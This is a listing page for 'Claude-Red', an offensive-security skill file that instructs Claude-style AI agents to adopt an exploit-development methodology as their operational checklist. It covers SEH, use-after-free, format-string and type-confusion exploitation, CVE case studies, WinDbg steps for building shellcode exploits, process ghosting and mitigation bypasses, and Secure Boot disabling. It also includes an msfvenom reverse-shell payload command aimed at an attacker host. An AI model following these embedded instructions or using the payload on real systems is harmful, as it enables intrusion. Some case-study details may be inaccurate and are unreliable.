claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a spec
Install
The skill file stays in the publisher's repository.
Paste the copied command in a terminal. It installs this SKILL.md into that agent.
npx skills add SnailSploit/Claude-Red --skill offensive-exploit-development -a cursor -y
claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
Questions
How do I install Claude-Red?
Download Skills/exploit-dev/offensive-exploit-development/SKILL.md from the publisher, or copy the path and open the repository. PlugMCP lists the skill and does not host the file.
Where does Claude-Red live?
The publisher keeps it at https://github.com/SnailSploit/Claude-Red.
Which agents can use Claude-Red?
Claude, Cursor, and Codex can read a SKILL.md you add from the publisher's repository.
claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
Exploit development operational guide: environment setup, debugging workflow, PoC development lifecycle, writing reliable exploits, using pwntools/pwndbg, heap exploitation techniques, and weaponization considerations. Use when actively developing exploits or setting up an exploit dev environment.
Trigger Phrases
Use this skill when the conversation involves any of:
exploit development, pwntools, pwndbg, heap exploitation, PoC development, exploit reliability, weaponization, debugging workflow, exploit dev environment
Instructions for Claude
When this skill is active:
Load and apply the full methodology below as your operational checklist
Follow steps in order unless the user specifies otherwise
For each technique, consider applicability to the current target/context
Integrate snapshot‑based fuzzing pipelines (AFL++, WinAFL, Snap‑Fuzz) and LLM‑guided input mutation to shorten time‑to‑bug.
Incorporate LLM‑assisted fuzzers (ChatAFL, HyLLFuzz) for grammar inference or plateau escape when grey‑box coverage stalls.
Add continuous‑integration security fuzzing (e.g., GitHub Actions with ASAN/UBSAN) so regressions are caught automatically.
For Windows-specific vulnerabilities, see Windows Kernel
flowchart LR
BugId["Bug Identification"] --> Analysis["Vulnerability Analysis"]
Testing["Testing & Refinement"] --> Deployment["Deployment"]
subgraph "Analysis Phase"
direction LR
Root["Root Cause Analysis"]
Trig["Trigger Identification"]
Impact["Impact Assessment"]
end
subgraph "Weaponization Phase"
direction LR
MitBypass["Mitigation Bypass"]
Payload["Payload Development"]
Reliability["Reliability Improvements"]
end
Analysis --> Root
Analysis --> Trig
Analysis --> Impact
Root --> MitBypass
Impact --> Payload
Trig --> Payload
MitBypass --> Payload
Payload --> Reliability
Reliability --> Testing
Testing --> MitBypass
class BugId,Analysis,Testing,Deployment primary
Bug Types
Stack Overflow
Involves memory on the stack getting corrupted due to improper bounds checking when a memory write operation takes place.
Case Study — CVE‑2025‑0910 (TinyFTP stack overflow)
Bug – Unchecked strcpy copies user‐supplied file path into a 256‑byte stack buffer when handling STOR commands.
Trigger – Send STOR / followed by 420 bytes of A… to overflow the buffer and clobber SEH frame.
Exploit – Overwrite next SEH with a pop pop ret inside msvcrt.dll; pivot to payload that disables DEP via ROP then spawns a reverse shell.
Mitigations bypassed – DEP (ROP), ASLR (module without /DYNAMICBASE), SEHOP disabled in default config.
Fixed in v1.5.3 by replacing strcpy with strncpy_s and enabling /DYNAMICBASE /GS.
SEH
structured exception handler is a linked list of all exception handlers ( try catch clauses) and the default windows exception handler as the last node.
ntdll!KiUserExceptionDispatcher is responsible for the exception handling process which itself calls RtlDispatchException
RtlDispatchException retrieves the TEB and parses the exception handling linked list using NtTib->ExceptionList
SafeSEH mitigates handler over‑writes only in 32‑bit images. On x64 Windows, newer toolchains and components support Guard EH Continuations; adoption varies by binary and build. SEHOP remains enabled by default.
To check whether a module uses Guard EH Continuations, inspect Load Configuration Directory → GuardEHContinuations in the PE header (e.g., dumpbin /loadconfig or a lief script).
Many core system DLLs are compiled with EHCONT metadata plus /GS, /CETCOMPAT; the classic approach of choosing a module without SafeSEH or ASLR is increasingly rare. Verify per target.
RtlpExecuteHandlerForException calls the ntdll!ExecuteHandler2 which in turn calls the actual exception handler function after validation
In a SEH buffer overflow we try to overflow the buffer and overwrite the ExceptionList starting at the buffer
so that the dispatcher calls our handler pointer —we gain control of the instruction pointer only if SEHOP is disabled or successfully bypassed.
you need to find a pop-pop-ret sequence to use in the exploit, you also need to identify and remove bad characters
EggHunting
during exploit development you might be unable to find enough space for your payload at an static point, this is where you need egghunting
you need a small search payload to scan virtual address space for a suitable payload location
On Windows 11+, classic egghunters still work, but Control‑Flow Guard (CFG) validates indirect jumps, so you need either a CFG exemption (e.g., a RWX region created with VirtualProtect) or a target module compiled without /guard:cf.
Use After Free
The link to something isn't available anymore, so we just replace it with our binary and take over the program.
Case Study — CVE‑2024‑4852 (Edge WebView2 AudioRenderer UAF)
Bug – core::media::AudioRenderer failed to remove a task from the render queue on stream abort, leaving a dangling pointer.
Trigger – JavaScript AudioContext rapid open‑close loop × 1 000 on Windows 11 23H2.
Exploit – Heap feng‑shui creates JSArray backing stores at freed slot; fake vtable gives arbitrary R/W, chained to VirtualProtect to run shellcode.
Patched in Edge 124.0.2365.18 with smart‑pointer ref‑count and std::erase_if queue purge.
Background
C++ Smart Pointers
Intrusive: Microsoft chose this
Non-Intrusive
Linked
when an object is created from a C++ class and uses virtual functions
a vptr is created at compile time and points to a virtual function table vtable/vftable
the table holds pointer to virtual functions, when loaded into a register like RAX, a call is made to the appropriate offset for the desired virtual function
we count number of created instances, we decrement it when calling the release function
when the counter hits 0, destructor is called to delete the object, if there is still a reference to the deleted object we have a potential UAF
Windows Heap Front‑End Allocators
LFH (Low Fragmentation Heap) – default on Windows 7–10 for user‑mode heaps
Segment Heap – default for Windows 10 2004+ and Windows 11 apps that opt in
Exploits often pivot by corrupting front‑end metadata before landing in the backend.
Windows Segment Heap – understand freelist bitmaps, per‑segment cookies, and "page backend" corruption primitives.
glibc tcache + safe‑linking – techniques such as tcache‑stashing‑unlink and House of Kiwi to break the new protections.
Exploitation workflow: leak heap_base, craft overlapping chunks, pivot to arbitrary R/W, then chain to code‑execution.
glibc 2.41 fast‑bins & calloc – calloc() now pre‑fills the tcache and safe‑linking checks trigger earlier; the older fastbins‑dupes shortcut no longer works. Use tcache‑stashing‑unlink or House of KIWI instead on 2.41+.
Casting 64‑bit size_t to 32‑bit DWORD across IPC or FFI boundaries can yield negative indexing and oversized allocations; especially common in cross‑arch components.
No/Incomplete Pointer Checks
Checking if a user-provided pointer points to user memory
Size of any pointer read/writes also need to be verified
Potentially un-intuitive behavior with common checking API
Format String Attacks
Theory
you can use this bug to bypass ASLR and DEP
to abuse it you need to be able to be able to influence the format string itself or the number of arguments to it
Methodology
find a print like function that accepts format string (vsnprintf, ...)
find a code path to that function that lets you influence the format string
try to leak a stack address abusing this format string vulnerability
using the previously leaked address, obtain a DLL address
use this method to bypass ASLR without using a static address
you can also find a write primitive to get code execution (checkout %n modifier)
you might need stack pivot gadgets like move esp, r32 or xchg esp, r32
Case Study — CVE‑2024‑4455 (MailManD format‑string leak‑to‑RCE)
Bug – Logs EHLO argument directly into syslog() format string.
Trigger – Send EHLO %43$p|%45$s during SMTP handshake.
Exploit – First leak reveals libc base; second leak dumps GOT entry; craft %n payload to overwrite __free_hook with system().
Mitigations bypassed – Full RELRO & ASLR via info‑leak, PIE disabled in default build.
Fixed in 2.0.9 by adding "%s" wrapper and enabling -Wformat-security.
Type Confusion Vulnerabilities
A vulnerability where an application processes an object as a different type than intended, leading to memory corruption or logic bypass.
Case Study — CVE‑2024‑7971 (V8 TurboFan type‑confusion RCE)
Bug – TurboFan's CheckBounds elimination incorrectly assumes array element type during JIT optimization, allowing tagged pointer confusion.
Trigger – Craft JavaScript with polymorphic inline cache that triggers speculative optimization on mixed SMI/HeapNumber array.
Exploit – Fake JSArray with controlled backing store pointer; corrupt length field to achieve OOB R/W; pivot to WASM RWX page for shellcode.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "<list_of_bad_chars>"
# make sure to precede this payload with some NOPs to create space for the getPC operation(decoding of shikata_ga_nai)
# attackBuffer = filler+eip+offset+nops+shellcode
Windows 11 enables by default: DEP, ASLR, CFG (strict mode), CET (Shadow Stack), XFG, ACG, CIG, and KDP; verify which are active in your target and plan corresponding bypasses.
Credential Guard is enabled by default and NTLMv1 is disabled, complicating lateral‑movement techniques.
The new Recall AI feature adds a searchable activity timeline; although currently shipped disabled by default, it offers a high‑value data‑exfiltration surface when turned on.
CET/XFG‑aware control strategies
Prefer ROP‑less primitives: NtContinue, APC queue + SetThreadContext, or SEH/JOP where CET returns are enforced
Align entry to valid indirect call targets; ensure ENDBR‑aligned gadgets on IBT platforms
XFG/GFID: call through import thunks or prototype‑matching wrappers to satisfy guard checks
Favor MEM_IMAGE‑mapped payloads (ghosting/doppelganging/herpaderping) over MEM_PRIVATE RWX
Reuse existing RX regions (WASM/JIT) where policy allows; avoid creating fresh RWX
Process Ghosting
Create transacted file → write signed‑looking image → roll back → map section as MEM_IMAGE → create process from section.
Herpaderping
Create process then overwrite on disk via rename tricks; the in‑memory image remains MEM_IMAGE and passes loader checks.
Doppelganging (TxF legacy)
Use TxF (where enabled) to create section from a transacted file, then abort the transaction post‑mapping.
All three avoid MEM_PRIVATE payloads that hotpatch checks reject in 24H2 (see Modern Mitigations → OS Loader changes).
Segment Heap notes
Distinguish frontend (LFH/Segment) vs page backend corruption primitives
PageHeap + verifier flags help triage; expect different grooming than classic NT Heap
Mitigation Matrix (Quick Reference)
Mitigation
Default platforms (2025)
Protects
Common bypass primitive
DEP / NX
All major OSes
Code execution in data pages
ROP/JOP pivot to RWX or change page permissions
ASLR
All
Base‑address disclosure
Info leak + partial overwrite / brute‑force
CFG (v1)
Windows 8.1+
Indirect calls integrity
Abuse writable/exempt module, ret‑slide into target
CET Shadow Stack
Windows 10 2004+, Linux 6.1 (x86)
Return‑address integrity
Disable CET (SetProcessMitigationPolicy) or pivot via JOP
XFG
Windows 11 22H2+
Indirect‑call target integrity
Use JOP gadgets or stub out guard function section
GuardEHContinuation
Windows 11 24H2 (x64)
SEH overwrite attempts
JOP stub into verified handler region
MTE
Android 14+, Linux 6.8 (ARM64)
Heap/stack OOB & UAF
Tag brute‑force or TAGSYNC alias
CIG / ACG
Windows 10+
Unsigned code / RWX pages
Map signed RWX driver or relocate section
Testing & Refinement
Exit Criteria
Exploit succeeds on clean target VM snapshot.
No unintended crashes after execution; system remains stable.
Execution time ≤ 30 seconds (tune per target).
CI replay job in .github/workflows/exploit.yml passes.
Regression corpus added to fuzzing seed set.
Quick‑start
Replay script: scripts/repro.sh
rr recording helper: scripts/record_rr.py
Coverage diff helper: tools/afl_cov_compare.py
Debugging Techniques
Strategic use of debuggers to analyze vulnerable applications
Tracing execution flow and memory states
Identifying exploitation opportunities
WinDbg Commands
For SEH exploitation:
# exception data will be inside TEB under NtTib->ExceptionList
dt nt!_TEB
# getting the <exp_addr> of exceptionlist
!teb
# getting the first item in the exception handler linked list, continue to see them using the `Next` param
# the last item should be `ntdll!FinalExceptionHandlerPad`
dt _EXCEPTION_REGISTRATION_RECORD <exp_addr>
# getting more information about the exception
!exchain
# setting a breakpoint on the exceution handler
bp ntdll!ExecuteHandler2
# see what is execution handler doing(use it to identify exploitation point in buffer)
u @eip L11
# to identify bad pods, execute till eip is yours, then
# repeat the process several times to identify all bad chars
dds esp L5 # identify second argument
db <second_argument>
# finding a pop/pop/ret
.load wdbgext
!wdbgext.modlist
lm m <module_without_dep_aslr_safeseh>
$><G:\Projects\poppopret.wds
u <first_adr_found> L3
# we need to create a short jump in our shellcode
# looking for our shellcode
!exchain
bp <adr>
g
# run the following till after your short jump
t
!teb
s -b <stack_limit> <stack_base> 90 90 90 90 43 43 43 43 43 43 43 43
dd <shellcode_adr> L65
? <shellcode_adr> - <current_esp>
For general WinDbg commands:
# finding out a suitable jump stub
lm m syncbrs # to get start <addr> of a module named syncbrs
dt ntdll!_IMAGE_DOS_HEADER <addr> # to get e_lfanew that has the offset to PE header
? <pe_header> # to get the hex addr
dt ntdll!_IMAGE_NT_HEADERS64 <addr>+<pe_hex_header> # to get image optional header
dt ntdll!_IMAGE_OPTIONAL_HEADER64 <addr>+<pe_hex_header>+<pe_optional_header> # to get DllCharachteristics
# you can automate this using process explorer or process hacker
# find an executable or module without DEP, ASLR
lm m libspp.dll # get the base address of the suitable module you found previously
s -b <mod_start_addr> <mod_end_addr> 0xff 0xe4 # find `jmp $esp` inside that module
# make sure the address doesn't contain bad chars
u <jmp_esp_addr> # to confirm
bp <jmp_esp_addr>
# override eip with jmp_esp_addr to force the program to jump to esp after buffer overflow
t
dc eip L4 # you should see the rest of your shellcode here
# checking which process we're currently in
!process @@(@$prcb->CurrentThread->ApcState.Process) 0
For UAF debugging:
# HEAP information
!heap -s # to print heap information
dt _HEAP <heap_addr> # to print infromation regarding a heap
dt _LFH_HEAP <heap_addr> # to print information about a low fragmentation header heap
# Identifying UAF location
# attach to crashed application, identify the name of function that crashed
uf <crashed_function_name> # to see the function
dd rcx # to checkout what got filled, replace rcx with the register name from above
dt _DPH_BLOCK_INFORMATION rcx-20 # usefull information
!heap -p -a rcx # call stack information, what led to this object being freed
Reproducibility & CI
Modern exploit chains should replay deterministically in CI so regressions are caught quickly.
runC / CRI‑O escape using malformed seccomp filters or WASM shims.
Windows VBS disable paths through registry or vulnerable driver injection.
Mobile Exploitation (iOS / Android)
iOS Pointer Authentication Code (PAC) bypass using JOP chains and ptrauth_sign_unauthenticated.
ARM Memory Tagging Extension (MTE) "sloppy‑tag" brute force and speculative TikTag leaks raise bypass reliability to ≈ 95 % on Android 14+; prepare a fallback ROP/JOP chain.
Binder and ION heap UAF primitives for privilege escalation.
Apple Silicon (M1/M2/M3/M4) Exploitation
Modern Apple Silicon devices introduce unique security features and attack surfaces requiring specialized techniques.
Hardware Security Features
Pointer Authentication Code (PAC)
PACIA/PACIB instructions create cryptographic signatures for return addresses and function pointers
Info‑leak primitives to derandomize ASLR or read kernel memory from user space.
Mitigations: IBPB, IBRS, and fine‑grained hardware fences.
eBPF & I/O Ring Kernel Primitives
Craft verifier‑confusion jumps to obtain out‑of‑bounds read/write in eBPF JIT.
Use Windows I/O Ring urb‑array double fetch to write kernel pointers.
Post‑exploitation: pivot from arbitrary write to token‑stealing or privilege escalation.
Firmware & UEFI Exploitation
DXE driver relocation overflows and SMM call‑gate confusion for persistence.
Exploiting capsule updates to downgrade firmware protections.
Detecting and disabling Secure Boot from within UEFI runtime services.
How do I install Claude-Red?
Download Skills/exploit-dev/offensive-exploit-development/SKILL.md from the publisher, or copy the path and open the repository. PlugMCP lists the skill and does not host the file.
Where does Claude-Red live?
The publisher keeps it at https://github.com/SnailSploit/Claude-Red.
Which agents can use Claude-Red?
Claude, Cursor, and Codex can read a SKILL.md you add from the publisher's repository.